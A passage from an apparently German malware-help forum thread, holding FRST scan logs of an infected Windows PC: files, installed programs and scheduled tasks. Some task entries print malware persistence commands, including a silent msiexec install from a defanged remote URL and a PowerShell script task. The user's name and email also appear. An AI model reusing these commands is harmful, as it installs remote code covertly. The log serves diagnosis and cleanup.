2017-03-15 19:51 - 2017-01-05 19:29 - 05273600 _____ (Microsoft Corporation) C:\Windows\SysWOW64\glcndFilter.dll
2017-03-15 19:51 - 2017-01-05 18:57 - 05268480 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Data.Pdf.dll
2017-03-15 17:59 - 2017-03-15 17:59 - 00001110 _____ C:\Users\Public\Desktop\Adobe Photoshop CS6.lnk
2017-03-15 17:59 - 2017-03-15 17:59 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Photoshop CS6
2017-03-15 17:59 - 2017-03-15 17:59 - 00000000 ____D C:\Program Files (x86)\Adobe Photoshop CS6
2017-03-13 23:02 - 2017-03-13 23:02 - 03164345 _____ C:\Windows\455cd42b03953ae3030f3e9254843325.exe
2017-03-09 19:55 - 2017-03-09 19:55 - 03526400 _____ (Intel Corporation) C:\Windows\system32\Drivers\Netwbw02.sys
2017-03-09 19:55 - 2017-03-09 19:55 - 02553264 _____ (Intel Corporation) C:\Windows\system32\Netwuw04.dll
2017-03-09 15:48 - 2017-03-09 15:48 - 10719648 _____ C:\Windows\system32\Drivers\Netwfw02.dat
2017-03-09 15:14 - 2017-02-23 16:50 - 00093360 _____ (Microsoft Corporation) C:\Windows\system32\CompatTelRunner.exe
2017-03-09 15:14 - 2017-02-22 16:35 - 01609216 _____ (Microsoft Corporation) C:\Windows\system32\appraiser.dll
2017-03-09 15:14 - 2017-02-22 16:35 - 00646656 _____ (Microsoft Corporation) C:\Windows\system32\generaltel.dll
2017-03-09 15:14 - 2017-01-18 16:35 - 01286144 _____ (Microsoft Corporation) C:\Windows\system32\aeinv.dll
2017-03-09 15:14 - 2017-01-18 16:35 - 00556544 _____ (Microsoft Corporation) C:\Windows\system32\devinv.dll
2017-03-09 15:14 - 2017-01-18 16:35 - 00335360 _____ (Microsoft Corporation) C:\Windows\system32\invagent.dll
2017-03-09 15:14 - 2017-01-18 16:35 - 00293376 _____ (Microsoft Corporation) C:\Windows\system32\centel.dll
2017-03-09 15:14 - 2017-01-18 16:35 - 00233984 _____ (Microsoft Corporation) C:\Windows\system32\aepic.dll
2017-03-09 15:14 - 2017-01-18 16:35 - 00133632 _____ (Microsoft Corporation) C:\Windows\system32\acmigration.dll
2017-03-07 15:59 - 2017-03-07 15:59 - 00003330 _____ C:\Users\Nick Schuster\AppData\Local\recently-used.xbel
2017-03-07 15:50 - 2017-03-07 15:50 - 00000919 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\GIMP 2.lnk
2017-03-07 15:49 - 2017-03-07 15:49 - 00000000 ____D C:\Program Files\GIMP 2
2017-03-07 15:45 - 2017-03-07 15:59 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\gtk-2.0
2017-03-07 15:45 - 2017-03-07 15:45 - 00000000 ____D C:\Users\Nick Schuster\.thumbnails
2017-03-07 15:40 - 2017-05-16 15:15 - 00000000 ____D C:\Users\Nick Schuster\.gimp-2.8
2017-03-07 15:40 - 2017-03-07 15:40 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\gegl-0.2
2017-03-07 15:40 - 2017-03-07 15:40 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\fontconfig

==================== Drei Monate: Ge鋘derte Dateien und Ordner ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2017-06-05 10:14 - 2015-12-26 16:48 - 00003596 _____ C:\Windows\System32\Tasks\Optimize Start Menu Cache Files-S-1-5-21-3847841184-804715454-2304624315-1001
2017-06-05 10:11 - 2016-11-16 18:44 - 00000354 _____ C:\Users\Public\Documents\temp.dat
2017-06-05 10:10 - 2017-02-20 22:17 - 00000000 ____D C:\Users\Nick Schuster\AppData\LocalLow\Mozilla
2017-06-05 10:10 - 2016-11-16 18:46 - 00000000 _____ C:\Users\Public\Documents\report.dat
2017-06-05 10:10 - 2016-07-31 16:09 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\CrashDumps
2017-06-05 10:09 - 2015-12-26 22:26 - 00000180 _____ C:\Windows\system32\{A6D608F0-0BDE-491A-97AE-5C4B05D86E01}.bat
2017-06-05 10:09 - 2015-12-26 17:53 - 00000000 __SHD C:\Users\Nick Schuster\IntelGraphicsProfiles
2017-06-05 10:09 - 2015-12-26 17:46 - 00000000 __RDO C:\Users\Nick Schuster\OneDrive
2017-06-05 10:08 - 2013-08-22 16:45 - 00000006 ____H C:\Windows\Tasks\SA.DAT
2017-06-04 10:17 - 2016-09-17 17:52 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\vlc
2017-06-03 14:01 - 2013-08-22 15:36 - 00000000 ____D C:\Windows\Inf
2017-06-02 16:14 - 2016-06-01 16:03 - 01862144 ___SH C:\Users\Nick Schuster\Downloads\Thumbs.db
2017-06-01 23:52 - 2013-08-22 15:25 - 00262144 ___SH C:\Windows\system32\config\BBI
2017-06-01 21:52 - 2013-08-22 15:36 - 00000000 ____D C:\Program Files\Quick Tharks Screen Saver
2017-06-01 19:26 - 2015-12-29 20:54 - 00000000 ____D C:\Windows\pss
2017-06-01 12:01 - 2016-07-05 17:55 - 00000000 ____D C:\Users\Nick Schuster\AppData\LocalLow\Adblock Plus for IE
2017-06-01 12:00 - 2014-11-21 05:35 - 01776918 _____ C:\Windows\system32\PerfStringBackup.INI
2017-06-01 12:00 - 2014-11-21 04:45 - 00765582 _____ C:\Windows\system32\perfh007.dat
2017-06-01 12:00 - 2014-11-21 04:45 - 00159366 _____ C:\Windows\system32\perfc007.dat
2017-06-01 00:15 - 2017-01-03 13:21 - 00000000 ____D C:\ProgramData\windows
2017-05-31 17:34 - 2017-02-12 14:31 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Bluestacks
2017-05-31 17:34 - 2013-08-22 17:36 - 00000000 __RHD C:\Users\Public\Libraries
2017-05-31 17:31 - 2016-06-14 20:57 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Sony
2017-05-31 14:36 - 2016-11-23 19:13 - 01784108 _____ C:\spyhunter.fix
2017-05-31 13:52 - 2016-09-17 17:56 - 00000000 ____D C:\ProgramData\Apple
2017-05-30 19:32 - 2016-10-08 16:17 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Deployment
2017-05-30 14:12 - 2016-12-27 21:45 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Dropbox
2017-05-30 14:11 - 2015-12-27 21:26 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Google
2017-05-30 14:05 - 2017-02-03 12:28 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Samsung
2017-05-30 14:05 - 2017-02-03 12:27 - 00000000 ____D C:\Program Files (x86)\Samsung
2017-05-30 14:05 - 2016-10-23 18:05 - 00000000 ____D C:\ProgramData\Samsung
2017-05-29 23:08 - 2017-02-13 16:13 - 00000000 ____D C:\Program Files (x86)\Minecraft
2017-05-29 23:08 - 2016-12-10 12:29 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\.minecraft
2017-05-29 22:00 - 2016-01-02 17:50 - 00000306 __RSH C:\ProgramData\ntuser.pol
2017-05-29 21:59 - 2016-10-12 16:07 - 00000000 ____D C:\Program Files\Image-Line
2017-05-27 11:41 - 2016-01-11 18:42 - 07413248 ___SH C:\Users\Nick Schuster\Desktop\Thumbs.db
2017-05-26 18:19 - 2016-11-18 17:58 - 00000000 ____D C:\Program Files (x86)\Steam
2017-05-26 10:55 - 2016-01-04 18:15 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Steam
2017-05-25 15:49 - 2017-02-14 16:53 - 00000000 ____D C:\ProgramData\SUPPORTDIR
2017-05-25 15:49 - 2017-02-14 16:53 - 00000000 ____D C:\ProgramData\install_backup
2017-05-25 15:49 - 2017-02-03 12:27 - 00000000 ___HD C:\Program Files (x86)\InstallShield Installation Information
2017-05-25 15:49 - 2016-10-13 22:01 - 00000000 ____D C:\ProgramData\TEMP
2017-05-24 11:40 - 2017-02-27 11:37 - 00000000 ____D C:\ProgramData\CanonIJPLM
2017-05-23 15:40 - 2013-08-22 17:20 - 00000000 ____D C:\Windows\CbsTemp
2017-05-23 15:34 - 2015-12-28 20:55 - 132223576 ____C (Microsoft Corporation) C:\Windows\system32\MRT.exe
2017-05-23 15:34 - 2015-12-28 20:55 - 00000000 ____D C:\Windows\system32\MRT
2017-05-22 21:46 - 2015-12-27 00:10 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Skype
2017-05-22 21:24 - 2016-09-24 19:16 - 00000000 ____D C:\ProgramData\Package Cache
2017-05-22 21:24 - 2015-12-27 00:10 - 00002715 _____ C:\Users\Public\Desktop\Skype.lnk
2017-05-22 21:24 - 2015-12-27 00:10 - 00000000 ___RD C:\Program Files (x86)\Skype
2017-05-22 21:24 - 2015-12-27 00:10 - 00000000 ____D C:\ProgramData\Skype
2017-05-21 19:04 - 2015-12-26 22:50 - 00000000 ____D C:\Program Files (x86)\TeamViewer
2017-05-21 19:03 - 2017-02-26 13:05 - 00000991 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamViewer 12.lnk
2017-05-21 19:03 - 2017-02-26 13:05 - 00000979 _____ C:\Users\Public\Desktop\TeamViewer 12.lnk
2017-05-17 21:05 - 2015-12-28 13:23 - 00000000 ____D C:\Users\Nick Schuster\Desktop\982652986578268672
2017-05-17 18:44 - 2016-08-20 12:01 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\TeamViewer
2017-05-17 17:00 - 2016-09-14 15:11 - 00000000 ____D C:\Users\Nick Schuster\AppData\LocalLow\Adobe
2017-05-17 16:58 - 2013-08-22 17:36 - 00000000 ____D C:\Windows\SysWOW64\Macromed
2017-05-17 16:41 - 2013-08-22 17:36 - 00000000 ____D C:\Windows\system32\FxsTmp
2017-05-14 16:21 - 2016-07-31 16:03 - 05282048 _____ C:\Windows\system32\FNTCACHE.DAT
2017-05-14 16:16 - 2013-08-22 17:36 - 00000000 ____D C:\Windows\PolicyDefinitions
2017-05-13 00:45 - 2017-02-12 16:33 - 00000000 ____D C:\Users\Nick Schuster\Desktop\BSHelper
2017-05-09 18:25 - 2016-11-08 22:46 - 00004496 _____ C:\Windows\System32\Tasks\Adobe Flash Player PPAPI Notifier
2017-05-09 18:25 - 2016-10-13 18:22 - 00004342 _____ C:\Windows\System32\Tasks\Adobe Flash Player Updater
2017-05-09 17:25 - 2013-08-22 17:36 - 00000000 ____D C:\Windows\system32\Macromed
2017-05-07 13:16 - 2016-12-17 15:58 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Chromium

==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse =======

2016-12-12 23:28 - 2016-12-12 23:28 - 0001120 _____ () C:\Users\Nick Schuster\AppData\Roaming\.minecraft - Verkn黳fung.lnk
2010-08-28 22:43 - 2010-08-28 22:43 - 0096256 ____N (Google, inc) C:\Users\Nick Schuster\AppData\Roaming\AdbWinApi.dll
2010-08-28 22:43 - 2010-08-28 22:43 - 0060928 ____N (Google, inc) C:\Users\Nick Schuster\AppData\Roaming\AdbWinUsbApi.dll
2016-07-31 15:02 - 2016-07-31 15:02 - 7129600 _____ () C:\Users\Nick Schuster\AppData\Roaming\agent.dat
2017-01-03 13:27 - 2017-01-03 13:20 - 1052256 _____ () C:\Users\Nick Schuster\AppData\Roaming\avv.exe
2016-07-31 15:01 - 2016-07-31 15:01 - 0129024 _____ () C:\Users\Nick Schuster\AppData\Roaming\Installer.dat
2016-07-31 15:02 - 2016-07-31 15:02 - 0018432 _____ () C:\Users\Nick Schuster\AppData\Roaming\Main.dat
2016-07-31 15:03 - 2016-02-18 10:10 - 5267952 _____ () C:\Users\Nick Schuster\AppData\Roaming\ziptool_wc-9015_setup.exe
2017-04-04 00:34 - 2017-04-04 13:52 - 0000000 _____ () C:\Users\Nick Schuster\AppData\Roaming\Microsoft\taskhw.exe
2017-03-07 15:59 - 2017-03-07 15:59 - 0003330 _____ () C:\Users\Nick Schuster\AppData\Local\recently-used.xbel
2016-01-07 17:00 - 2016-12-17 21:05 - 0007598 _____ () C:\Users\Nick Schuster\AppData\Local\Resmon.ResmonCfg
2017-02-12 14:36 - 2017-04-22 20:22 - 0000552 _____ () C:\Users\Nick Schuster\AppData\Local\TroubleshooterConfig.json
2016-10-21 22:16 - 2016-10-23 18:04 - 0000158 _____ () C:\Users\Nick Schuster\AppData\Local\uts.ini

Dateien, die verschoben oder gel鰏cht werden sollten:
====================
C:\Users\Nick Schuster\AppData\Roaming\gplyra\gplyra.exe
C:\Windows\TEMP\gB39B.tmp.exe


Einige Dateien in TEMP:
====================
2017-05-31 17:34 - 2017-01-26 10:58 - 0990744 _____ (BlueStack Systems, Inc.) C:\Users\Nick Schuster\AppData\Local\Temp\BluestacksUninstaller.exe
2017-05-31 17:34 - 2017-01-26 10:57 - 0187416 _____ (BlueStack Systems) C:\Users\Nick Schuster\AppData\Local\Temp\HD-LibraryHandler.dll
2017-05-31 17:34 - 2017-01-26 10:55 - 0246808 _____ (BlueStack Systems) C:\Users\Nick Schuster\AppData\Local\Temp\HD-Logger-Native.dll
2017-05-30 16:39 - 2014-05-27 06:39 - 0053248 _____ (Microsoft Corporation) C:\Users\Nick Schuster\AppData\Local\Temp\svhost.exe

==================== Bamital & volsnap ======================

(Es ist kein automatischer Fix f黵 Dateien vorhanden, die an der Verifikation gescheitert sind.)

C:\Windows\system32\winlogon.exe => Datei ist digital signiert
C:\Windows\system32\wininit.exe => Datei ist digital signiert
C:\Windows\explorer.exe => Datei ist digital signiert
C:\Windows\SysWOW64\explorer.exe => Datei ist digital signiert
C:\Windows\system32\svchost.exe => Datei ist digital signiert
C:\Windows\SysWOW64\svchost.exe => Datei ist digital signiert
C:\Windows\system32\services.exe => Datei ist digital signiert
C:\Windows\system32\User32.dll => Datei ist digital signiert
C:\Windows\SysWOW64\User32.dll => Datei ist digital signiert
C:\Windows\system32\userinit.exe => Datei ist digital signiert
C:\Windows\SysWOW64\userinit.exe => Datei ist digital signiert
C:\Windows\system32\rpcss.dll => Datei ist digital signiert
C:\Windows\system32\dnsapi.dll => Datei ist digital signiert
C:\Windows\SysWOW64\dnsapi.dll => Datei ist digital signiert
C:\Windows\system32\Drivers\volsnap.sys => Datei ist digital signiert

LastRegBack: 2017-05-23 15:34

==================== Ende von FRST.txt ============================
--- --- ---

[/CODE]

NexsReloaded 05.06.2017 09:33
Code:

Zus鋞zliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 02-06-2017
durchgef黨rt von Nick Schuster (05-06-2017 10:16:25)
Gestartet von C:\Users\Nick Schuster\Desktop
Windows 8.1 (Update) (X64) (2015-12-26 14:37:47)
Start-Modus: Normal
==========================================================


==================== Konten: =============================

Administrator (S-1-5-21-3847841184-804715454-2304624315-500 - Administrator - Disabled)
Gast (S-1-5-21-3847841184-804715454-2304624315-501 - Limited - Disabled)
HomeGroupUser$ (S-1-5-21-3847841184-804715454-2304624315-1003 - Limited - Enabled)
Nick Schuster (S-1-5-21-3847841184-804715454-2304624315-1001 - Administrator - Enabled) => C:\Users\Nick Schuster

==================== Sicherheits-Center ========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)

AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

==================== Installierte Programme ======================

(Nur Adware-Programme mit dem Zusatz "Hidden" k鰊nen in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)

Adobe After Effects CC 2015 (HKLM-x32\...\{147EC100-14BE-45EF-AB42-35BAEE7D02F0}) (Version: 13.6.1 - Adobe Systems Incorporated)
Adobe AIR (HKLM-x32\...\Adobe AIR) (Version: 3.1.0.4880 - Adobe Systems Incorporated)
Adobe Flash Player 25 NPAPI (HKLM-x32\...\Adobe Flash Player NPAPI) (Version: 25.0.0.171 - Adobe Systems Incorporated)
Adobe Flash Player 25 PPAPI (HKLM-x32\...\Adobe Flash Player PPAPI) (Version: 25.0.0.171 - Adobe Systems Incorporated)
Adobe Photoshop CS6 Version 13.0.1 (HKLM-x32\...\{A724DC44-6241-42D3-BA57-778B178ABC17}_is1) (Version: 13.0.1 - Adobe Systems, Inc.)
ASIO4ALL (HKLM-x32\...\ASIO4ALL) (Version: 2.12 - Michael Tippach)
Canon Easy-WebPrint EX (HKLM-x32\...\Easy-WebPrint EX) (Version: 1.7.0.0 - Canon Inc.)
Canon IJ Network Scanner Selector EX (HKLM-x32\...\Canon_IJ_Network_Scanner_Selector_EX) (Version: 1.5.4.4 - Canon Inc.)
Canon IJ Network Tool (HKLM-x32\...\Canon_IJ_Network_UTILITY) (Version: 3.7.0 - Canon Inc.)
Canon IJ Scan Utility (HKLM-x32\...\Canon_IJ_Scan_Utility) (Version: 1.1.20.13 - Canon Inc.)
Canon Inkjet Printer/Scanner/Fax Extended Survey Program (HKLM-x32\...\CANONIJPLM100) (Version: 5.2.0 - Canon Inc.)
Canon MG5700 series Benutzerregistrierung (HKLM-x32\...\Canon MG5700 series Benutzerregistrierung) (Version:  - *Canon Inc.)
Canon MG5700 series MP Drivers (HKLM\...\{1199FAD5-9546-44f3-81CF-FFDB8040B7BF}_Canon_MG5700_series) (Version: 1.00 - Canon Inc.)
Canon My Printer (HKLM-x32\...\CanonMyPrinter) (Version: 3.3.0 - Canon Inc.)
Canon Quick Menu (HKLM-x32\...\CanonQuickMenu) (Version: 2.7.1 - Canon Inc.)
D3DX10 (x32 Version: 15.4.2368.0902 - Microsoft) Hidden
Equalizer APO (HKLM\...\EqualizerAPO) (Version: 1.1.2 - )
FL Studio 12 (HKLM-x32\...\FL Studio 12) (Version:  - Image-Line)
FL Studio 12.1.2 (HKLM\...\FL Studio 12.1.2_is1) (Version:  - )
FL Studio ASIO (HKLM\...\FL Studio ASIO) (Version:  - Image-Line)
FL Studio ASIO (HKLM-x32\...\FL Studio ASIO) (Version:  - Image-Line)
Fotogalerie (x32 Version: 16.4.3528.0331 - Microsoft Corporation) Hidden
FreeOCR v5.4 (HKLM-x32\...\freeocr_is1) (Version:  - )
GIMP 2.8.20 (HKLM\...\GIMP-2_is1) (Version: 2.8.20 - The GIMP Team)
Google Update Helper (x32 Version: 1.3.33.5 - Google Inc.) Hidden
HandBrake 0.10.5 (HKLM-x32\...\HandBrake) (Version: 0.10.5 - )
initialpage123 - Uninstall (HKLM-x32\...\{F566FB96-67A4-4E6C-B262-2AE76A61F74F}) (Version:  - ) <==== ACHTUNG
Intel(R) C++ Redistributables on Intel(R) 64 (HKLM-x32\...\{F70BCE36-25F2-4475-A918-6209B3D85BF3}) (Version: 15.0.179 - Intel Corporation)
Intel(R) Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 20.19.15.4531 - Intel Corporation)
Java 8 Update 121 (64-bit) (HKLM\...\{26A24AE4-039D-4CA4-87B4-2F64180121F0}) (Version: 8.0.1210.13 - Oracle Corporation)
Java 8 Update 121 (HKLM-x32\...\{26A24AE4-039D-4CA4-87B4-2F32180121F0}) (Version: 8.0.1210.13 - Oracle Corporation)
Junk Mail filter update (x32 Version: 16.4.3528.0331 - Microsoft Corporation) Hidden
MegaDownloader 1.7 (HKLM\...\{C12C2297-65A4-4E64-9AE1-29F0D947FDA0}}_is1) (Version: 1.7 - AppsForMega.info)
Microsoft OneDrive (HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\OneDriveSetup.exe) (Version: 17.3.6799.0327 - Microsoft Corporation)
Microsoft Silverlight (HKLM\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.50906.0 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{7299052b-02a4-4627-81f2-1818da5d550d}) (Version: 8.0.56336 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{837b34e3-7c30-493c-8f6a-2b0f04e2912c}) (Version: 8.0.59193 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (x64) (HKLM\...\{071c9b48-7c32-4621-a0ac-3f809523288f}) (Version: 8.0.56336 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (x64) (HKLM\...\{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}) (Version: 8.0.61000 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148 (HKLM\...\{4B6C7001-C7D6-3710-913E-5BC23FCE91E6}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 (HKLM\...\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.21022.218 (HKLM-x32\...\{E503B4BF-F7BB-3D5F-8BC8-F694B1CFF942}) (Version: 9.0.21022.218 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM-x32\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 (HKLM-x32\...\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}) (Version: 11.0.61030.0 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 (HKLM-x32\...\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}) (Version: 11.0.61030.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (HKLM-x32\...\{050d4fc8-5d48-4b8f-8972-47c82c46020f}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM-x32\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.23918 (HKLM-x32\...\{dab68466-3a7d-41a8-a5cf-415e3ff8ef71}) (Version: 14.0.23918.0 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.24215 (HKLM-x32\...\{e2803110-78b3-4664-a479-3611a381656a}) (Version: 14.0.24215.1 - Microsoft Corporation)
Minecraft (HKLM-x32\...\{1C16BCA3-EBC1-49F6-8623-8FBFB9CCC872}) (Version: 1.0.3.0 - Mojang)
Movie Maker (x32 Version: 16.4.3528.0331 - Microsoft Corporation) Hidden
Mozilla Firefox 53.0.3 (x64 de) (HKLM\...\Mozilla Firefox 53.0.3 (x64 de)) (Version: 53.0.3 - Mozilla)
Mozilla Maintenance Service (HKLM\...\MozillaMaintenanceService) (Version: 53.0.3 - Mozilla)
OpenOffice 4.1.3 (HKLM-x32\...\{8D5FCC56-BB9F-4122-923C-71753F50F6F5}) (Version: 4.13.9783 - Apache Software Foundation)
Samsung USB Driver for Mobile Phones (HKLM\...\{D0795B21-0CDA-4a92-AB9E-6E92D8111E44}) (Version: 1.5.61.0 - Samsung Electronics Co., Ltd.)
Skype™ 7.33 (HKLM-x32\...\{3B7E914A-93D5-4A29-92BB-AF8C3F66C431}) (Version: 7.33.105 - Skype Technologies S.A.)
SpyHunter 4 (HKLM-x32\...\SpyHunter) (Version: 4.24.3.4750 - Enigma Software Group, LLC)
Steam (HKLM-x32\...\Steam) (Version: 2.10.91.91 - Valve Corporation)
swMSM (x32 Version: 12.0.0.1 - Adobe Systems, Inc) Hidden
SwytShop version 1.0 (HKU\.DEFAULT\...\SwytShopAlgoadChrome_Pkg3a_is1) (Version: 1.0 - SwytShop)
TeamViewer 12 (HKLM-x32\...\TeamViewer) (Version: 12.0.77242 - TeamViewer)
VirtualDJ 8 (HKLM-x32\...\{2C513174-818D-4D9E-B88F-3E2872BACA20}) (Version: 8.2.3493.0 - Atomix Productions)
VLC media player (HKLM\...\VLC media player) (Version: 2.2.4 - VideoLAN)
Windows Live Essentials (HKLM-x32\...\WinLiveSuite) (Version: 16.4.3528.0331 - Microsoft Corporation)
WinRAR 5.40 (32-Bit) (HKLM-x32\...\WinRAR archiver) (Version: 5.40.0 - win.rar GmbH)

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

CustomCLSID: HKU\S-1-5-21-3847841184-804715454-2304624315-1001_Classes\CLSID\{162C6FB5-44D3-435B-903D-E613FA093FB5}\InprocServer32 -> C:\Users\Nick Schuster\AppData\Local\Microsoft\OneDrive\17.3.6799.0327\amd64\FileCoAuthLib64.dll (Microsoft Corporation)
CustomCLSID: HKU\S-1-5-21-3847841184-804715454-2304624315-1001_Classes\CLSID\{820D63D5-8CFF-46DE-86AF-4997DEDD6DB5}\localserver32 -> C:\Windows\system32\igfxEM.exe (Intel Corporation)
CustomCLSID: HKU\S-1-5-21-3847841184-804715454-2304624315-1001_Classes\CLSID\{D3BB05A4-7B0B-D6FE-9C46-02343C11E1C8}\InprocServer32 -> kein Dateipfad
CustomCLSID: HKU\S-1-5-21-3847841184-804715454-2304624315-1001_Classes\CLSID\{DC9D74AA-7319-69B5-E1DE-59842454B0BE}\InprocServer32 -> kein Dateipfad

==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

Task: {006195E7-5B35-4800-8C6E-E8E48BDE5D59} - System32\Tasks\KMSAutoNet => C:\ProgramData\KMSAutoS\KMSAuto Net.exe
Task: {05D48E00-BF2C-4CEB-B7DF-04409233784E} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2017-03-17] (Google Inc.)
Task: {12EA2644-53AB-4F3B-8420-DDC68495A6C2} - System32\Tasks\Windows-PG => powershell.exe C:\windows\psgo\psgo.ps1
Task: {1400CED9-EAA0-49F8-A50B-2477914720B4} - System32\Tasks\Games\UpdateCheck_S-1-5-21-3847841184-804715454-2304624315-1001
Task: {16129431-3A87-44D6-B1E9-5B37A253A591} - System32\Tasks\RunAtStartup => C:\Users\Nick Schuster\AppData\Roaming\Event Monitor\em.exe  <==== ACHTUNG
Task: {169116B2-0EF1-475C-8491-807AAB8364E3} - System32\Tasks\Microsoft\Windows\DeviceSettings\Puperpysikuy => msiexec.exe /i hxxp://D2bUH1bF1g584W.clOuDfroNt.net/mmtsk/occup.php?p=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&amp;d=20170529 /q <==== ACHTUNG
Task: {2A619B04-44F2-4A39-B52E-0AD07E393C91} - System32\Tasks\Prervadom Cloud => C:\Program Files (x86)\Mlecultfowudom\zerfotain.exe
Task: {2E2640BC-9462-4C5F-90BD-892338D59DF4} - System32\Tasks\Milimili => C:\Program Files (x86)\MIO\MIO.exe [2017-06-01] () <==== ACHTUNG
Task: {49A10F24-190A-4ED7-9B48-C3CB6BBBC914} - System32\Tasks\GenericSettingsHandler\Windows-Credentials\RetrySyncTask_for_S-1-5-21-3847841184-804715454-2304624315-1001
Task: {53A67BD4-6351-4805-A436-9353CBFAAAFA} - System32\Tasks\AdobeAAMUpdater-1.0-MicrosoftAccount-wiiu02015@outlook.de => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe
Task: {6557BCB6-2F27-448C-ACA4-7E86E4B009E5} - System32\Tasks\Update => C:\Users\Nick
Task: {673824BA-7A3C-41BF-A4DA-9C4F9887830A} - System32\Tasks\Red Giant Link => C:\Program Files\Red Giant Link\Red Giant Link.exe
Task: {6AFC3B2B-BD1E-4624-B0FF-60E210D98357} - \task Update -> Keine Datei <==== ACHTUNG
Task: {72FEC8A9-7468-4164-9720-A650AB414362} - System32\Tasks\ttwifi => C:\Program Files (x86)\ttwifi\tiantianwifi.exe  <==== ACHTUNG
Task: {74DECB46-8172-4D8D-A795-B4201324F918} - System32\Tasks\Qizsywosale Core => C:\Program Files (x86)\Fepuly\xruvudom.exe
Task: {7DF225F2-E9BE-467E-BBE5-6136CE240342} - System32\Tasks\Quick Tharks Screen Saver => Rundll32.exe "C:\Program Files\Quick Tharks Screen Saver\Quick Tharks Screen Saver.dll",eJRVBzCDxduB
